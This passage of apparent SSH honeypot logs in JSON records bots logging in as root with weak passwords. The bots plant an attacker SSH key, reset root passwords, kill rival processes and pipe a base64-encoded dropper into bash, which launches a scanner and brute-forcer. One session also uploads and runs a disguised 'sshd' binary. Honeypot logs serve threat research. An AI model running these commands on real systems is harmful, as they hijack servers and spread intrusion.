\"root:QRVgmpYi92o4\"|chpasswd|bash"},{"seq":6,"at":"2026-08-20T20:23:48.756171+00:00","kind":"output","latency_ms":724,"data":""},{"seq":7,"at":"2026-08-20T20:23:48.930486+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":8,"at":"2026-08-20T20:23:49.838527+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-20T20:23:49.838941+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-20T20:23:50.756122+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-20T20:23:51.834750+00:00","kind":"output","latency_ms":1078,"data":"15888 5342 532 56 9960 9118"},{"seq":12,"at":"2026-08-20T20:23:52.732184+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-20T20:23:53.500174+00:00","kind":"output","latency_ms":767,"data":"-rwxr-xr-x 1 root root 149K Aug 20 03:09 /usr/bin/ls"},{"seq":14,"at":"2026-08-20T20:23:54.430375+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-20T20:23:54.430884+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-20T20:23:55.330473+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-20T20:23:55.331011+00:00","kind":"output","latency_ms":null,"data":" 20:23:55 up 17:14, 0 user, load average: 0.18, 0.24, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-20T20:23:56.230827+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-20T20:23:56.234373+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-20T20:23:57.131500+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-20T20:23:57.132264+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-20T20:23:58.033060+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-20T20:23:58.033779+00:00","kind":"output","latency_ms":null,"data":"top - 20:23:58 up 17:14, 0 user, load average: 0.18, 0.24, 0.18\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-20T20:23:58.930746+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-20T20:23:58.931283+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-20T20:23:59.834566+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-20T20:23:59.835121+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-20T20:24:00.729850+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-20T20:24:00.730680+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-20T20:24:01.630846+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-20T20:24:04.102242+00:00","kind":"output","latency_ms":2468,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-20T20:24:05.030113+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-20T20:24:06.121920+00:00","kind":"output","latency_ms":1090,"data":"24G"},{"seq":34,"at":"2026-08-20T20:24:09.033850+00:00","kind":"input","latency_ms":null,"data":"echo \"root 123456789123456789\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-20T20:24:09.931209+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-20T20:24:10.649361+00:00","kind":"output","latency_ms":716,"data":""},{"seq":37,"at":"2026-08-20T20:24:13.230442+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-20T20:24:14.976907+00:00","kind":"output","latency_ms":1745,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-20T20:24:15.837835+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-20T20:24:16.607852+00:00","kind":"output","latency_ms":768,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-20T20:24:17.548822+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-20T20:24:18.430693+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-20T20:24:22.936644+00:00","kind":"output","latency_ms":4503,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-20T20:24:23.830716+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-20T20:24:24.433858+00:00","kind":"output","latency_ms":601,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-20T20:24:25.338955+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-20T20:24:34.331259+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-20T20:24:34.331901+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"123456789123456789","method":"password","accepted":true,"tier":"other"}]} {"id":"e3eee844-4660-4da4-8622-91b468c14614","name":"gallant-sullen-bullfinch","protocol":"ssh","channel_kind":"exec","src_ip":"144.225.8.54","src_port":60896,"username":"root","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"chmod +x ./.7952845218618959092/sshd;nohup ./.7952845218618959092/sshd &","started_at":"2026-08-20T13:32:13.067213+00:00","ended_at":"2026-08-20T13:32:22.630900+00:00","ended_reason":"exec complete","commands":2,"transcript_bytes":144,"events":[{"seq":1,"at":"2026-08-20T13:32:13.064879+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/.7952845218618959092/sshd (30304472 bytes)"},{"seq":2,"at":"2026-08-20T13:32:13.067566+00:00","kind":"input","latency_ms":null,"data":"chmod +x ./.7952845218618959092/sshd;nohup ./.7952845218618959092/sshd &"},{"seq":3,"at":"2026-08-20T13:32:13.704344+00:00","kind":"output","latency_ms":1171,"data":"[1] 32417"}],"credentials":[{"username":"root","password":"linux","method":"password","accepted":true,"tier":"other"}]} {"id":"a09265ce-7df6-487c-b00d-1f24a248165f","name":"canny-restless-petrel","protocol":"ssh","channel_kind":"exec","src_ip":"186.248.197.77","src_port":45656,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":412,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-20T12:59:14.353436+00:00","ended_at":"2026-08-20T12:59:14.478176+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3733,"events":[{"seq":1,"at":"2026-08-20T12:58:39.119247+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-20T12:58:39.532077+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-20T12:58:43.545082+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-20T12:58:44.133062+00:00","kind":"output","latency_ms":587,"data":"1"},{"seq":5,"at":"2026-08-20T12:58:44.544969+00:00","kind":"input","latency_ms":null,"data":"echo \"root:8thtrH5KGcXe\"|chpasswd|bash"},{"seq":6,"at":"2026-08-20T12:58:44.958108+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-20T12:58:45.038331+00:00","kind":"output","latency_ms":492,"data":""},{"seq":8,"at":"2026-08-20T12:58:45.368032+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-20T12:58:46.002435+00:00","kind":"output","latency_ms":633,"data":"AMD EPYC 7713 64-Core Processor\n"},{"seq":10,"at":"2026-08-20T12:58:46.412838+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-20T12:58:47.042495+00:00","kind":"output","latency_ms":628,"data":"956 0 956 0 0 0"},{"seq":12,"at":"2026-08-20T12:58:47.455535+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-20T12:58:48.260736+00:00","kind":"output","latency_ms":804,"data":"-rwxr-xr-x 1 root root 142K Jan 17 2024 /usr/bin/ls"},{"seq":14,"at":"2026-08-20T12:58:48.674116+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-20T12:58:49.651513+00:00","kind":"output","latency_ms":976,"data":"* * * * * /opt/stable/bin/muck-out.sh >/var/log/muck-out.log 2>&1\n0 * * * * /opt/stable/bin/gallop-backup.sh >/var/log/gallop-backup.log 2>&1\n*/5 * * * * /opt/stable/bin/hoofcheck.sh >/var/log/hoofcheck.log 2>&1"},{"seq":16,"at":"2026-08-20T12:58:50.064996+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-20T12:58:51.284147+00:00","kind":"output","latency_ms":1216,"data":" 03:09:53 up 9:48, 1 user, load average: 0.08, 0.04, 0.01\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT\nroot pts/0 203.0.113.1 03:09 0.00s 0.02s 0.00s w\n"},{"seq":18,"at":"2026-08-20T12:58:51.695265+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-20T12:58:51.695701+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-20T12:58:52.108567+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-20T12:58:52.569320+00:00","kind":"output","latency_ms":460,"data":"64"},{"seq":22,"at":"2026-08-20T12:58:52.982265+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-20T12:58:52.982789+00:00","kind":"output","latency_ms":null,"data":"top - 12:58:52 up 9:48, 0 user, load average: 0.18, 0.23, 0.19\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 956 total, 535 free, 420 used\nMiB Swap: 511 total, 511 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-20T12:58:53.395486+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-20T12:58:53.395800+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-20T12:58:53.809340+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-20T12:58:53.809742+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-20T12:58:54.220885+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-20T12:58:54.221593+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-20T12:58:54.633702+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-20T12:58:56.540033+00:00","kind":"output","latency_ms":1904,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-20T12:58:56.951684+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-20T12:58:57.426619+00:00","kind":"output","latency_ms":473,"data":"24G"},{"seq":34,"at":"2026-08-20T12:58:58.882678+00:00","kind":"input","latency_ms":null,"data":"echo \"root meng123456\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-20T12:58:59.293154+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-20T12:58:59.702966+00:00","kind":"output","latency_ms":409,"data":""},{"seq":37,"at":"2026-08-20T12:59:00.739638+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-20T12:59:01.259426+00:00","kind":"output","latency_ms":522,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-20T12:59:01.679638+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-20T12:59:02.653206+00:00","kind":"output","latency_ms":972,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-20T12:59:03.071054+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-20T12:59:03.488357+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-20T12:59:04.131524+00:00","kind":"output","latency_ms":643,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-20T12:59:04.549073+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-20T12:59:05.268591+00:00","kind":"output","latency_ms":718,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-20T12:59:05.685671+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-20T12:59:06.191707+00:00","kind":"output","latency_ms":505,"data":""},{"seq":48,"at":"2026-08-20T12:59:14.354533+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-20T12:59:14.355038+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"meng123456","method":"password","accepted":true,"tier":"other"}]} {"id":"9d97c634-71cf-4395-9707-f7b02c0c87c2","name":"deft-frank-jackal","protocol":"ssh","channel_kind":"exec","src_ip":"139.59.28.125","src_port":34268,"username":"root","client_version":"SSH-2.0-libssh_0.11.1","auth_attempts":1,"automation":"bot","think_ms":678,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-20T12:57:42.460636+00:00","ended_at":"2026-08-20T12:57:42.669225+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3631,"events":[{"seq":1,"at":"2026-08-20T12:56:59.098069+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-20T12:56:59.775443+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-20T12:57:05.325871+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-20T12:57:05.863672+00:00","kind":"output","latency_ms":536,"data":"1"},{"seq":5,"at":"2026-08-20T12:57:06.541229+00:00","kind":"input","latency_ms":null,"data":"echo \"root:Vr6mUc0sST4y\"|chpasswd|bash"},{"seq":6,"at":"2026-08-20T12:57:07.218578+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-20T12:57:07.450343+00:00","kind":"output","latency_ms":909,"data":""},{"seq":8,"at":"2026-08-20T12:57:07.895223+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-20T12:57:08.466969+00:00","kind":"output","latency_ms":572,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-20T12:57:09.143085+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-20T12:57:09.864544+00:00","kind":"output","latency_ms":720,"data":"956 956 0 0 0 0"},{"seq":12,"at":"2026-08-20T12:57:10.541593+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-20T12:57:11.362777+00:00","kind":"output","latency_ms":820,"data":"-rwxr-xr-x 1 root root 142K Feb 11 2026 /usr/bin/ls"},{"seq":14,"at":"2026-08-20T12:57:12.040093+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-20T12:57:13.013154+00:00","kind":"output","latency_ms":971,"data":"# m h dom mon dow command\n*/5 * * * * /opt/stable/bin/muck-out.sh >> /var/log/muck-out.log 2>&1\n0 2 * * * /opt/stable/bin/gallop-backup.sh\n*/10 * * * * /opt/stable/bin/hoofcheck.sh\n15 3 * * * /opt/stable/bin/canter-deploy.sh\n"},{"seq":16,"at":"2026-08-20T12:57:13.692359+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-20T12:57:14.974077+00:00","kind":"output","latency_ms":1281,"data":" 10:56:42 up 9:47, 1 user, load average: 0.05, 0.03, 0.01\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT\nroot pts/0 203.0.113.1 10:55 1.00s 0.03s 0.01s w"},{"seq":18,"at":"2026-08-20T12:57:15.650687+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-20T12:57:15.651406+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-20T12:57:16.329899+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-20T12:57:17.206105+00:00","kind":"output","latency_ms":875,"data":"1"},{"seq":22,"at":"2026-08-20T12:57:17.883293+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-20T12:57:17.884021+00:00","kind":"output","latency_ms":null,"data":"top - 12:57:17 up 9:47, 0 user, load average: 0.32, 0.4, 0.37\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 956 total, 554 free, 401 used\nMiB Swap: 511 total, 511 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-20T12:57:18.564099+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-20T12:57:18.564711+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-20T12:57:19.246371+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-20T12:57:19.246839+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-20T12:57:19.922468+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-20T12:57:19.923672+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-20T12:57:20.604146+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-20T12:57:21.097071+00:00","kind":"output","latency_ms":496,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-20T12:57:21.773534+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-20T12:57:22.342037+00:00","kind":"output","latency_ms":567,"data":"24G"},{"seq":34,"at":"2026-08-20T12:57:24.646245+00:00","kind":"input","latency_ms":null,"data":"echo \"root admin1234!@\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-20T12:57:25.323145+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-20T12:57:25.876444+00:00","kind":"output","latency_ms":553,"data":""},{"seq":37,"at":"2026-08-20T12:57:27.697393+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-20T12:57:28.418040+00:00","kind":"output","latency_ms":719,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-20T12:57:29.096052+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-20T12:57:29.603323+00:00","kind":"output","latency_ms":506,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-20T12:57:30.281556+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-20T12:57:30.958886+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-20T12:57:31.820029+00:00","kind":"output","latency_ms":859,"data":"1"},{"seq":44,"at":"2026-08-20T12:57:32.515145+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-20T12:57:33.098590+00:00","kind":"output","latency_ms":587,"data":"1"},{"seq":46,"at":"2026-08-20T12:57:33.776586+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo 